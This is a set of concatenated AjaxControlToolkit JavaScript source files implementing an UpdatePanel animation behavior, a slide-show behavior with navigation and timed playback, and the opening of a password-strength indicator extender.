        var parentDiv = document.createElement(element.tagName);
        element.parentNode.insertBefore(parentDiv, element);
        parentDiv.appendChild(element);

        // Move the behavior from the UpdatePanel to the new parent div
        Array.remove(element._behaviors, this);
        Array.remove(element._behaviors, this._onUpdating);
        Array.remove(element._behaviors, this._onUpdated);
        if (parentDiv._behaviors) {
            Array.add(parentDiv._behaviors, this);
            Array.add(parentDiv._behaviors, this._onUpdating);
            Array.add(parentDiv._behaviors, this._onUpdated);
        } else {
            parentDiv._behaviors = [this, this._onUpdating, this._onUpdated];
        }
        this._element = this._onUpdating._element = this._onUpdated._element = parentDiv;
        
        // Initialize the generic animation behaviors
        this._onUpdating.initialize();
        this._onUpdated.initialize();

        // Attach to the beginRequest/pageLoaded events (and we'll get _pageRequestManager
        // from calling registerPartialUpdates)
        this.registerPartialUpdateEvents();
        this._pageLoadedHandler = Function.createDelegate(this, this._pageLoaded);
        this._pageRequestManager.add_pageLoaded(this._pageLoadedHandler);
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        
        // Important: remove event handler before calling base dispose
        // (which will set _pageRequestManager to null)
        if (this._pageRequestManager && this._pageLoadedHandler) {
            this._pageRequestManager.remove_pageLoaded(this._pageLoadedHandler);
            this._pageLoadedHandler = null;
        }
        
        AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.callBaseMethod(this, 'dispose');
    },
    
    _partialUpdateBeginRequest : function(sender, beginRequestEventArgs) {
        /// <summary>
        /// Method that will be called when a partial update (via an UpdatePanel) begins,
        /// if registerPartialUpdateEvents() has been called.
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="beginRequestEventArgs" type="Sys.WebForms.BeginRequestEventArgs">
        /// Event arguments
        /// </param>
        AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.callBaseMethod(this, '_partialUpdateBeginRequest', [sender, beginRequestEventArgs]);
        
        if (!this._postBackPending) {
            this._postBackPending = true;
            this._onUpdated.quit();
            this._onUpdating.play();
        }
    },

    _pageLoaded : function(sender, args) {
        /// <summary>
        /// Method that will be called when a partial update (via an UpdatePanel) finishes
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="args" type="Sys.WebForms.PageLoadedEventArgs">
        /// Event arguments
        /// </param>
        
        if (this._postBackPending) {
            this._postBackPending = false;
            
            var element = this.get_element();
            var panels = args.get_panelsUpdated();
            for (var i = 0; i < panels.length; i++) {
                if (panels[i].parentNode == element) {
                    this._onUpdating.quit();
                    this._onUpdated.play();
                    break;
                }
            }
        }
    },

    get_OnUpdating : function() {
        /// <value type="String">
        /// Generic OnUpdating Animation's JSON definition
        /// </value>
        return this._onUpdating.get_json();
    },
    set_OnUpdating : function(value) {
        this._onUpdating.set_json(value);
        this.raisePropertyChanged('OnUpdating');
    },
    
    get_OnUpdatingBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnUpdating Animation's behavior
        /// </value>
        return this._onUpdating;
    },
    
    
    get_OnUpdated : function() {
        /// <value type="String">
        /// Generic OnUpdated Animation's JSON definition
        /// </value>
        return this._onUpdated.get_json();
    },
    set_OnUpdated : function(value) {
        this._onUpdated.set_json(value);
        this.raisePropertyChanged('OnUpdated');
    },
    
    get_OnUpdatedBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnUpdated Animation's behavior
        /// </value>
        return this._onUpdated;
    }
}
AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.registerClass('AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior', AjaxControlToolkit.BehaviorBase);
//    // Create a type descriptor
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.callBaseMethod(this, 'getDescriptor');
//        td.addProperty('OnUpdating', String);
//        td.addProperty('OnUpdated', String);
//        return td;
//    },
w// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />


Type.registerNamespace('AjaxControlToolkit');
AjaxControlToolkit.SlideShowBehavior = function(element) {
        /// <summary>
        /// creates a new slide show behavior
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" DomElement="true" mayBeNull="false" />
        /// <returns />
        AjaxControlToolkit.SlideShowBehavior.initializeBase(this, [element]);
        // Properties
        this._nextButtonID = null;
        this._previousButtonID = null;
        this._imageDescriptionLabelID = null;
        this._imageTitleLabelID = null;
        this._playButtonID = null;
        this._playButtonValue = '||>';
        this._stopButtonValue = '[]';
        this._slideShowServicePath = null;
        this._slideShowServiceMethod = null;
        this._contextKey = null;
        this._useContextKey = false;
        this._playInterval = 3000;
        this._tickHandler = null;
        this._loop = false;
        this._autoPlay = false;
                
        // Variables
        this._inPlayMode = false;
        this._elementImage = null;
        this._bNext = null;
        this._bPrevious = null;
        this._currentIndex = -1;
        this._currentValue = null;
        this._imageDescriptionLabel = null;
        this._imageTitleLabel = null;
        this._bPlay = null;
        this._slides = null;
        this._timer = null;
        this._currentImageElement = null;
        this._images = null;
        this._cachedImageIndex = -1;

        // Delegates
        this._clickNextHandler = null;
        this._clickPreviousHandler = null;
        this._clickPlayHandler = null;
        this._tickHandler = null;
        this._imageLoadedHandler = null;

}
AjaxControlToolkit.SlideShowBehavior.prototype = { 
    initialize : function() {
        ///<summary>
        /// Initialize the slide show.
        /// </summary>
        /// <returns />      
        
        AjaxControlToolkit.SlideShowBehavior.callBaseMethod(this, 'initialize');
        var e = this.get_element();
        this._elementImage = e;
        
        // create an invisible img element
        this._currentImageElement = document.createElement('IMG');
        this._currentImageElement.style.display = 'none';
        document.body.appendChild(this._currentImageElement);
        
        //Create a new parent for Image
        var _divContent = document.createElement('DIV');
        e.parentNode.insertBefore(_divContent, e);
        e.parentNode.removeChild(e);
        _divContent.appendChild(e);
        _divContent.align = 'center';    
        
        this.controlsSetup();
        // Create handlers for slide show buttons clicks events and for image loaded events.
        if (this._bNext) {
            this._clickNextHandler = Function.createDelegate(this, this._onClickNext);
            $addHandler(this._bNext, 'click', this._clickNextHandler);
        }
        if (this._bPrevious) {
            this._clickPreviousHandler = Function.createDelegate(this, this._onClickPrevious);
            $addHandler(this._bPrevious, 'click', this._clickPreviousHandler);
        } 
        if (this._bPlay) {
            this._clickPlayHandler = Function.createDelegate(this, this._onClickPlay);
            $addHandler(this._bPlay, 'click', this._clickPlayHandler);
        } 
        
        this._imageLoadedHandler = Function.createDelegate(this, this._onImageLoaded);
        $addHandler(this._currentImageElement, 'load', this._imageLoadedHandler);
                
        // init slide show
        this._slideShowInit();
    },
    
    dispose : function() {
        ///<summary>
        /// Dispose the handlers and perform other slide show cleanup.
        /// </summary>
        /// <returns />      
        
        if (this._clickNextHandler) {
            $removeHandler(this._bNext, 'click', this._clickNextHandler);
            this._clickNextHandler = null;
        }
        if (this._clickPreviousHandler) {
            $removeHandler(this._bPrevious, 'click', this._clickPreviousHandler);
            this._clickPreviousHandler = null;
        }
        if (this._clickPlayHandler) {
            $removeHandler(this._bPlay, 'click', this._clickPlayHandler);
            this._clickPlayHandler = null;
        }     
        if (this._imageLoadedHandler) {
            $removeHandler(this._currentImageElement, 'load', this._imageLoadedHandler);
            this._imageLoadedHandler = null;
        }
        if (this._timer) {
            this._timer.dispose();
            this._timer = null;
        }
        AjaxControlToolkit.SlideShowBehavior.callBaseMethod(this, 'dispose');
    },
        
    add_slideChanged : function(handler) {
        ///<summary>
        /// Add handler for the <code>slideChanged</code> Event.
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false" />   
        /// <returns />       
        this.get_events().addHandler('slideChanged', handler);
    },
    remove_slideChanged : function(handler) {
        ///<summary>
        /// Remove handler for the <code>slideChanged</code> Event.
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false"/>   
        /// <returns />     
        this.get_events().removeHandler('slideChanged', handler);
    },
    raiseSlideChanged : function(eventArgs) {
        ///<summary>
        /// Raise the <code>slideChanged</code> Event.
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="true"/>   
        /// <returns />      
        var handler = this.get_events().getHandler('slideChanged');
        if (handler) {
            if (!eventArgs) {
                eventArgs = Sys.EventArgs.Empty;
            }
            handler(this, eventArgs);
        }
    },
    
    add_slideChanging : function(handler) {
        ///<summary>
        /// Add handler for the <code>slideChanging</code> Event.
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false" />   
        /// <returns />      
        this.get_events().addHandler('slideChanging', handler);
    },
    remove_slideChanging : function(handler) {
        ///<summary>
        /// Remove handler for the <code>slideChanging</code> Event.
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false"/>   
        /// <returns />       
        this.get_events().removeHandler('slideChanging', handler);
    },
    raiseSlideChanging : function(previousSlide, newSlide) {
        ///<summary>
        /// Raise the <code>slideChanging</code> Event.
        /// </summary>
        /// <param name="previousSlide" type="Object" mayBeNull="true"/>   
        /// <param name="nextSlide" type="Object" mayBeNull="true"/>           
        /// <returns type="Boolean" />       
        var handler = this.get_events().getHandler('slideChanging');
        if (handler) {
            var eventArgs = new AjaxControlToolkit.SlideShowEventArgs(previousSlide, newSlide, this._currentIndex);
            handler(this, eventArgs);
            return eventArgs.get_cancel();
        }
        return false;
    },
    
    get_contextKey : function() {
        /// <value type="String" mayBeNull="true">
        /// User/page specific context provided to an optional overload of the
        /// web method described by ServiceMethod/ServicePath.  If the context
        /// key is used, it should have the same signature with an additional
        /// parameter named contextKey of type string.
        /// </value>
        return this._contextKey;
    },
    set_contextKey : function(value) {
        if (this._contextKey != value) {
            this._contextKey = value;
            this.set_useContextKey(true);
            // if initialize has not been called
            // then do not reset the slideshow.
            if(this._elementImage) {
                this._slideShowInit();
            }
            this.raisePropertyChanged('contextKey');
        }
    },
    
    get_useContextKey : function() {
        /// <value type="Boolean">
        /// Whether or not the ContextKey property should be used.  This will be
        /// automatically enabled if the ContextKey property is ever set
        /// (on either the client or the server).  If the context key is used,
        /// it should have the same signature with an additional parameter
        /// named contextKey of type string.
        /// </value>
        return this._useContextKey;
    },
    set_useContextKey : function(value) {
        if (this._useContextKey != value) {
            this._useContextKey = value;
            this.raisePropertyChanged('useContextKey');
        }
    },
    
    get_enableCaching: function() {
        /// <value type="Boolean" maybeNull="true">Get or sets whether suggestions retrieved from the webservice should be cached.</value>
        return this._enableCaching;
    },
    set_enableCaching: function(value) {
        this._enableCaching = value;
    },
    
    get_completionListElementID: function() {
        /// <value type="String" maybeNull="true">ID of the completion div element. </value>
        return this._completionListElementID;
    },
    set_completionListElementID: function(value) {
        this._completionListElementID = value;  
    },  
    
    get_completionListCssClass : function() {
        /// <value type="String" maybeNull="true">Css class name that will be used to style the completion list element. </value>
        this._completionListCssClass;
    },
    set_completionListCssClass : function(value) {
        if(this._completionListCssClass != value) {
            this._completionListCssClass = value;    
            this.raisePropertyChanged('completionListCssClass');
        }
    },   
    get_completionListItemCssClass : function() {
        /// <value type="String" maybeNull="true">Css class name that will be used to style an item in the completion list. </value>
        this._completionListItemCssClass;
    },
    set_completionListItemCssClass : function(value) {
        if(this._completionListItemCssClass != value) {
            this._completionListItemCssClass = value;    
            this.raisePropertyChanged('completionListItemCssClass');
        }
    },     
    get_highlightedItemCssClass : function() {
        /// <value type="String" maybeNull="true">Css class name that will be used to style a highlighted item in the list. </value>
        this._highlightedItemCssClass;
    },
    set_highlightedItemCssClass : function(value) {
        if(this._highlightedItemCssClass != value) {        
            this._highlightedItemCssClass = value;    
            this.raisePropertyChanged('highlightedItemCssClass');
        }
    },   
    get_delimiterCharacters: function() {
        /// <value type="String">Gets or sets the character(s) used to seperate words for autocomplete.</value>
        return this._delimiterCharacters;
    },
    set_delimiterCharacters: function(value) {
        this._delimiterCharacters = value;
    },
    
    controlsSetup : function() {
        /// <summary>
        /// Get handles to various slide show controls if specified.
        /// </summary>      
        /// <returns />
        if (this._previousButtonID) {
            this._bPrevious = document.getElementById(this._previousButtonID);
        }
        if (this._imageDescriptionLabelID) {
           this._imageDescriptionLabel = document.getElementById(this._imageDescriptionLabelID);
        }
        if (this._imageTitleLabelID) {
           this._imageTitleLabel = document.getElementById(this._imageTitleLabelID);
        }
        if (this._nextButtonID) {
            this._bNext = document.getElementById(this._nextButtonID);
        }
        if (this._playButtonID) {
            this._bPlay = document.getElementById(this._playButtonID);
            this._bPlay.value = this._playButtonValue;
        }
    },

    resetButtons : function() {
        /// <summary>
        /// Maintain the various buttons states.
        /// </summary>    
        /// <returns />  
                   
        if (!this._loop) {
            // at the last slide
            if (this._slides.length <= this._currentIndex + 1 ) {
                if (this._bNext) this._bNext.disabled = true;
                if (this._bPlay) this._bPlay.disabled = true;
                if (this._bPrevious) this._bPrevious.disabled = false;    
               // turn off play mode if on
                this._inPlayMode = false;
                if (this._timer) {
                    this._timer.set_enabled(false);
                }
                if (this._bPlay) this._bPlay.value = this._playButtonValue; 
                                
            } else {
                if (this._bNext) this._bNext.disabled = false;
                if (this._bPlay) this._bPlay.disabled = false;            
            }
            // at the first slide
            if (this._currentIndex <= 0) {
                if (this._bPrevious) this._bPrevious.disabled = true;
            } else {
                if (this._bPrevious) this._bPrevious.disabled = false;
            }
        }
        else {
            if (this._slides.length == 0) {
                if (this._bPrevious) this._bPrevious.disabled = true;
                if (this._bNext) this._bNext.disabled = true;
                if (this._bPlay) this._bPlay.disabled = true;
            }
        } 
        if (this._inPlayMode) {
            // restart timer
            this._timer.set_enabled(false);
            this._timer.set_enabled(true);            
        }
    },
    
    resetSlideShowButtonState : function() {
        /// <summary>
        /// Maintain the play button state to reflect whether the slide show is in play mode.
        /// </summary>       
        /// <returns />      
            
        if (this._inPlayMode) {
            if (this._bPlay) this._bPlay.value = this._stopButtonValue;
        }
        else {
            this.resetButtons();
            if (this._bPlay) this._bPlay.value = this._playButtonValue;
        }
    },
    
    setCurrentImage : function() {
        /// <summary>
        /// Retrieve the current image.
        /// </summary>  
        /// <returns />    
        if (this._slides[this._currentIndex]) {
            this._currentImageElement.src = this._slides[this._currentIndex].ImagePath;
        } else {
            this._currentImageElement.src = '';
        }
        if(Sys.Browser.agent == Sys.Browser.Opera) {   
            // call the handler explicitly for opera
            this._onImageLoaded(true);
        }
    },
        
    updateImage : function(value) {
        /// <summary>
        /// Set current image to be the specified Slide.
        /// </summary>  
        /// <param name="value" type="Object" mayBeNull="false" />
        /// <returns />
             
        if (value) {
            if (this.raiseSlideChanging(this._currentValue, value)) {
                return;
            }
            this._currentValue = value;
            this._elementImage.src = value.ImagePath;
            this._elementImage.alt = value.Name;
            
            if (this._imageDescriptionLabel) {
                this._imageDescriptionLabel.innerHTML = value.Description ? value.Description : "";
            }
            if (this._imageTitleLabel) {
                this._imageTitleLabel.innerHTML = value.Name ? value.Name : "";
            }
            this.raiseSlideChanged(value);
            this.resetButtons();
        }
    },
    
    get_imageDescriptionLabelID : function() {
        /// <value type="String" mayBeNull="true">    
        /// ID of the label that describes the current slide.
        /// </value>
        return this._imageDescriptionLabelID;
    },    
    set_imageDescriptionLabelID : function(value) {
        if (this._imageDescriptionLabelID != value) {
            this._imageDescriptionLabelID = value;
            this.raisePropertyChanged('imageDescriptionLabelID');
        }
    },
    
    get_imageTitleLabelID : function() {
        /// <value type="String" mayBeNull="true">    
        /// ID of the label that shows the title of the current slide.
        /// </value>
        return this._imageTitleLabelID;
    },
    set_imageTitleLabelID : function(value) {
        if (this._imageTitleLabelID != value) {
            this._imageTitleLabelID = value;
            this.raisePropertyChanged('imageTitleLabelID');
        }
    },
    
    get_nextButtonID : function() {
        /// <value type="String" mayBeNull="true">    
        /// ID on the next button.
        /// </value>        
        return this._nextButtonID;
    },
    set_nextButtonID : function(value) {
        if (this._nextButtonID != value) {
            this._nextButtonID = value;
            this.raisePropertyChanged('nextButtonID');
        }
    },
     
    get_playButtonID : function() {
        /// <value type="String" mayBeNull="true">    
        /// ID on the play button.    
        /// </value>        
        return this._playButtonID;
    },
    set_playButtonID : function(value) {
        if (this._playButtonID != value) {
            this._playButtonID = value;
            this.raisePropertyChanged('playButtonID');
        }
    },
       
    get_playButtonText : function() {
        /// <value type="String" mayBeNull="true">    
        /// Text in play button to play the slide show when it is not playing.    
        /// </value>        
        return this._playButtonValue;
    },
    set_playButtonText : function(value) {
        if (this._playButtonValue != value) {
            this._playButtonValue = value;
            this.raisePropertyChanged('playButtonText');
        }
    },    

    get_stopButtonText : function() {
        /// <value type="String" mayBeNull="true">    
        /// Text in play button to stop the slide show when it is playing.
        /// </value>        
        return this._stopButtonValue;
    },
    set_stopButtonText : function(value) {
        if (this._stopButtonValue != value) {
            this._stopButtonValue = value;
            this.raisePropertyChanged('stopButtonText');
        }
    },

    get_playInterval : function() {
        /// <value type="Number" integer="true" mayBeNull="true">    
        /// Interval in milliseconds between slide switches.
        /// </value>        
        return this._playInterval;
    },
    set_playInterval : function(value) {
        if (this._playInterval != value) {
            this._playInterval = value;
            this.raisePropertyChanged('playInterval');
        }
    },
    
    get_previousButtonID : function() {
        /// <value type="String" mayBeNull="true">
        /// ID of the previous button.
        /// </value>
        return this._previousButtonID;
    },
    set_previousButtonID : function(value) {
        if (this._previousButtonID != value) {
            this._previousButtonID = value;
            this.raisePropertyChanged('previousButtonID');
        }
    },
    
    get_slideShowServicePath : function() {
        /// <value type="String" mayBeNull="true">
        /// Slide show webservice path to pull the images.
        /// </value>        
        return this._slideShowServicePath;
    },
    
    set_slideShowServicePath : function(value) {
        if (this._slideShowServicePath != value) {
            this._slideShowServicePath = value;
            this.raisePropertyChanged('slideShowServicePath');
        }
    },
    
    get_slideShowServiceMethod : function() {
        /// <value type="String" mayBeNull="false">
        /// Slide show webservice methods that will return the slide images.
        /// </value>        
        return this._slideShowServiceMethod;
    },
    set_slideShowServiceMethod : function(value) {
        if (this._slideShowServiceMethod != value) {
            this._slideShowServiceMethod = value;
            this.raisePropertyChanged('slideShowServiceMethod');
        }
    },

    get_loop : function() {
        /// <value type="Boolean" mayBeNull="true">
        /// boolean to detect if slideshow should wrap around on hitting the first/last slides.
        /// </value>
        return this._loop;
    },
    set_loop : function(value) {
        if (this._loop != value) {
            this._loop = value;
            this.raisePropertyChanged('loop');
        }
    },
    
    get_autoPlay : function() {
        /// <value type="Boolean" mayBeNull="true">
        /// boolean to detect if slide show should start playing on render.
        /// </value>
        return this._autoPlay;
    },
    set_autoPlay : function(value) {
        if (this._autoPlay != value) {
            this._autoPlay = value;
            this.raisePropertyChanged('autoPlay');
        }
    },
    
    _onClickNext : function(e) {
        /// <summary>
        /// Next button click handler.
        /// </summary>      
        /// <param name="e" type="Sys.UI.DomEvent" mayBeNull="false" />   
        /// <returns />  
               
        // prevent server post-back for asp.net buttons.
        e.preventDefault();
        e.stopPropagation();        
        this._clickNext();
    }, 
    
    _onImageLoaded : function(e) {
        /// <summary>
        /// Image loaded handler.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent" mayBeNull="false"/>   
        /// <returns />      
        this.updateImage(this._slides[this._currentIndex]);
        this.resetButtons();        
        this._cacheImages();
    },
    
    _clickNext : function() {
        /// <summary>
        /// Switches slide show to displaying the next slide.
        /// </summary>  
        /// <returns />  
                  
        if (this._slides) {
            if ((this._currentIndex + 1) < this._slides.length) {
                ++this._currentIndex;
            } else if (this._loop) {
                this._currentIndex = 0;
            } else {
                return false;
            }
            this.setCurrentImage();
            return true;
        }
        return false;    
    },
        
    _onClickPrevious : function(e) {
        /// <summary>
        /// Previous button click handler.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent" mayBeNull="false"/>   
        /// <returns />  
        
        // prevent server post-back for asp.net buttons.
        e.preventDefault();
        e.stopPropagation();        
        this._clickPrevious();

    }, 
    
    _clickPrevious : function() {
        /// <summary>
        /// Switches slide show to displaying the previous slide.
        /// </summary>    
        /// <returns />          
        
        if (this._slides) {
            if ((this._currentIndex - 1) >= 0) {
                --this._currentIndex;
            }
            else if (this._loop) {
                this._currentIndex = this._slides.length - 1;
            } else {
                return false;
            }
            this.setCurrentImage();
            return true;
        }
        return false;
    },

    _onClickPlay : function(e) {
        /// <summary>
        /// Play button click handler.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent" mayBeNull="false"/>   
        /// <returns />
                
        // prevent server post-back for asp.net buttons.
        e.preventDefault();
        e.stopPropagation();
        this._play();
    }, 
    
    _play : function() {
        /// <summary>
        /// Maintains timer state/slide show buttons state and creates handler to switch images in play mode
        /// if not already in play mode.
        /// </summary>   
        /// <returns />
        if (this._inPlayMode) {
            this._inPlayMode = false;
            this._timer.set_enabled(false);
            this.resetSlideShowButtonState();
        } else {
            // play the side show
            this._inPlayMode = true;
            if (!this._timer) {
                this._timer = new Sys.Timer();
                this._timer.set_interval(this._playInterval);
                this._tickHandler = Function.createDelegate(this, this._onPlay);
                this._timer.add_tick(this._tickHandler);
            }
            this.resetSlideShowButtonState();
            this._timer.set_enabled(true);
        }
    },
    
    _onPlay : function(e) {
        /// <summary>
        /// Sets the slide show to the current image in play mode and maintains button state.
        /// </summary>   
        /// <param name="e" type="Sys.UI.DomEvent" mayBeNull="false"/>
        /// <returns type="Boolean" />
        if (this._slides) {
            if ((this._currentIndex + 1) < this._slides.length) {
                ++this._currentIndex;
                this.setCurrentImage();
                return true;
            } else if (this._loop) {
                this._currentIndex = 0;
                this.setCurrentImage();
                return true;
            } else {
                this._inPlayMode = false;
                this.resetSlideShowButtonState();
            }
        }
        return false;
    },
    
    _slideShowInit : function() {
        /// <summary>
        /// Initializes the slide show by invoking the webservice to retrieve the slides
        /// and sets the first slide.
        /// </summary>
        /// <returns />
        // clear the state of the slideshow
        this._currentIndex = -1;
        this._cachedImageIndex = -1;
        this._inPlayMode = false;
        this._currentValue = null;
        // clear the cache
        this._images = null;
        // Create the service parameters and optionally add the context parameter
        // (thereby determining which method signature we're expecting...)
        var params = null;
        if (this._useContextKey) {
            params = { contextKey : this._contextKey };
        }
        
        Sys.Net.WebServiceProxy.invoke(
                this._slideShowServicePath, 
                this._slideShowServiceMethod, 
                false,
                params,
                Function.createDelegate(this, this._initSlides), 
                null, 
                null);
    },
    
    _initSlides : function(sender, eventArgs) {
        /// <summary>
        /// Initializes the slide show with the first image and configures the specified play settings.
        /// </summary>
        /// <param name="sender" type="Object" mayBeNull="true"/>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="true" />
        /// <returns />

        this._slides = sender;
        if (this._slides) {
            this._images = new Array();
            this._clickNext();  
            if (this._autoPlay) {
                this._play();
            }
        }
    },
   
    _cacheImages : function() {
        /// <summary>
        /// Caches 4 more slides periodically.
        /// </summary>
        /// <returns />
        
        // cache if current index is divisible by 3
        if ((this._currentIndex) % 3 == 0) {
            var oldCachedImageIndex = this._cachedImageIndex;
            for (var i = this._cachedImageIndex + 1; i < this._slides.length; i++) {
                if (this._slides[i]) {
                    this._images[i] = new Image();
                    this._images[i].src = this._slides[i].ImagePath;
                    this._cachedImageIndex = i;
                    if((oldCachedImageIndex + 4) <= i ) {
                        // cached 4 slides
                        break;
                    }
                }
            }
        }
    }
    
}
AjaxControlToolkit.SlideShowBehavior.registerClass('AjaxControlToolkit.SlideShowBehavior', AjaxControlToolkit.BehaviorBase);

 
AjaxControlToolkit.SlideShowEventArgs = function(previousSlide, nextSlide, slideIndex) {
    /// <summary>
    /// Event arguments for the SlideShowBehavior's slideChanging event
    /// </summary>
    /// <param name="previousSlide" type="Object" mayBeNull="true" />
    /// <param name="nextSlide" type="Object" mayBeNull="true" />
    /// <param name="slideIndex" type="Integer" mayBeNull="true" />
    /// <returns />
    AjaxControlToolkit.SlideShowEventArgs.initializeBase(this);

    this._previousSlide = previousSlide;
    this._nextSlide = nextSlide;
    this._slideIndex = slideIndex;
}
AjaxControlToolkit.SlideShowEventArgs.prototype = {
    get_previousSlide : function() {
        /// <value type="Object">
        /// PreviousSlide
        /// </value>
        return this._previousSlide;
    },

    get_nextSlide : function() {
        /// <value type="Object">
        /// NextSlide
        /// </value>
        return this._nextSlide;
    },

    get_slideIndex : function () {
        /// <value type="Number" integer="true">    
        /// SlideIndex
        /// </value>
        return this._slideIndex;
    }
}
AjaxControlToolkit.SlideShowEventArgs.registerClass('AjaxControlToolkit.SlideShowEventArgs', Sys.CancelEventArgs);
��// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.PasswordStrengthExtenderBehavior = function(element) {
    AjaxControlToolkit.PasswordStrengthExtenderBehavior.initializeBase(this, [element]);

    // The array holding the default textual descriptions for the password strength levels
    this._levelArray = new Array();
    this._styleArray = new Array();
    
    this._txtPwdStrengthCssClass = null;
    this._barBorderCssClass = null;
    this._barIndicatorCssClass = null;
    this._displayPosition = AjaxControlToolkit.DisplayPosition.RightSide;
    this._strengthIndicator = AjaxControlToolkit.StrengthIndicatorTypes.Text;
    
    this._preferredPasswordLength = 0;
    this._minimumNumericCharacters = 0;
    this._minimumSymbolCharacters = 0;
    this._requiresUpperAndLowerCaseCharacters = false;
    this._helpHandleCssClass = '';
    this._helpHandlePosition =  AjaxControlToolkit.DisplayPosition.AboveRight;
    this._helpText = '';
    this._helpStatusLabelID = null;
    
    this._displayDiv = null; // The DIV for displaying the textual indicator
    this._helpDiv = null;  // The DIV that the user can click on to display the password requirements
    
    this._barOuterDiv = null;  // The outer DIV for the bar indicator
    this._barInnerDiv = null;  // The Inner DIV for the bar indicator
    
    this._keyPressHandler = null;
    this._blurHandler = null;
    this._helpClickHandler = null;
    this._prefixText = AjaxControlToolkit.Resources.PasswordStrength_StrengthPrompt;
    
    // The default set of textual strength descriptions
    this._txtStrengthDescriptions = AjaxControlToolkit.Resources.PasswordStrength_DefaultStrengthDescriptions;
    this._strengthStyles = '';
    this._barIndicatorStyles = '';
    this._txtseparator = ';';
    this._MIN_TXT_LEVEL_COUNT = 2;
    this._MAX_TXT_LEVEL_COUNT = 10;
    
    // The default weighting/ratio used for password strength calculation.
    // ...Password Length = 50%
    // ...Numerics = 15%
    // ...Casing = 15%
    // ...Symbols = 20%
    this._calcWeightings = "50;15;15;20";

    this._minLowerCaseChars = 0;
    this._minUpperCaseChars = 0;
}
        
AjaxControlToolkit.PasswordStrengthExtenderBehavior.prototype = {
    
    
    initialize : function() {
        AjaxControlToolkit.PasswordStrengthExtenderBehavior.callBaseMethod(this, 'initialize');
        
        this._createIndicatorDisplayElement();
        
        var e = this.get_element();

        // Create our delegates
        this._keyPressHandler = Function.createDelegate(this, this._onKeyPress);
        this._blurHandler = Function.createDelegate(this, this._onBlur);
        

        // Attach events/associate the events with the delegates already defined above
        $addHandler(e,'keyup', this._keyPressHandler);
        $addHandler(e,'blur', this._blurHandler);
        
        // Set some defaults
        if (this._preferredPasswordLength == null || this._preferredPasswordLength == '' || this._preferredPasswordLength <= 0) {
            this._preferredPasswordLength = 10;  // Set to at least 10 chars as a preferred pwd length, even though this is very small.
                                           // Ideally, it should be set to 20 or greater for a passphrase type scenario. Remember this is preferred, NOT minimum
            this.raisePropertyChanged('PreferredPasswordLength');
        }
        if (this._calcWeightings == null || this._calcWeightings == "") {
            this._calcWeightings = "50;15;15;20";
            this.raisePropertyChanged('CalculationWeightings');
        }
        
        // Get our initial password strength calculated values. This performsn an initial calculation and sets up the helptext.
        this._getPasswordStrength();

    },
    
    _createIndicatorDisplayElement : function() {
            
        if (this._strengthIndicator == AjaxControlToolkit.StrengthIndicatorTypes.BarIndicator)
            this._createBarIndicatorDisplayElement();
        else
            this._createTextDisplayElement();
        
        // If the Help display DIV was created ok, then set its position.
        if (this._createHelpDisplayElement() == true)
        {
            // We need to do this first as we need to find its bounding area and can only do that after its been made visible
             $common.setVisible(this._helpDiv,true);

            
            var bounds = $common.getBounds(this.get_element());
            
            var helpBounds = $common.getBounds(this._helpDiv);
            var posY;
            var posX;
            var offset = 3;  // 3 pixels for a very small amount of overlap to "connect" the help icon to the textbox

            if (this._helpHandlePosition == "LeftSide")
            {
                posY = bounds.y + ((bounds.height / 2) - (helpBounds.height / 2));
                posX = bounds.x - helpBounds.width;
            } else if (this._helpHandlePosition == "BelowRight")
            {
                posY = bounds.y + bounds.height - offset;   // Just one pixel for a small overlap
                posX = bounds.x + bounds.width - offset;
            } else if (this._helpHandlePosition == "BelowLeft")
            {
                posY = bounds.y + bounds.height - offset;
                posX = bounds.x - helpBounds.width + offset;
            } else if (this._helpHandlePosition == "RightSide")
            {
                posY = bounds.y + ((bounds.height / 2) - (helpBounds.height / 2));
                posX = bounds.x + bounds.width;
            } else if (this._helpHandlePosition == "AboveLeft")
            {
                posY = bounds.y - helpBounds.height + offset;
                posX = bounds.x - helpBounds.width + offset;

            } else   // This fall through logic gets called if the Help position is "AboveRight" or anything else for that matter
            {
                posY = bounds.y  - helpBounds.height + offset;
                posX = bounds.x + bounds.width - offset;
            }

            this._helpDiv.style.top = posY + 'px';
            this._helpDiv.style.left = posX + 'px';

        }

    },
    
    _createTextDisplayElement : function() {
        //*******************************************************************************
        // **** Create the element for textual display
        //********************************************************************************
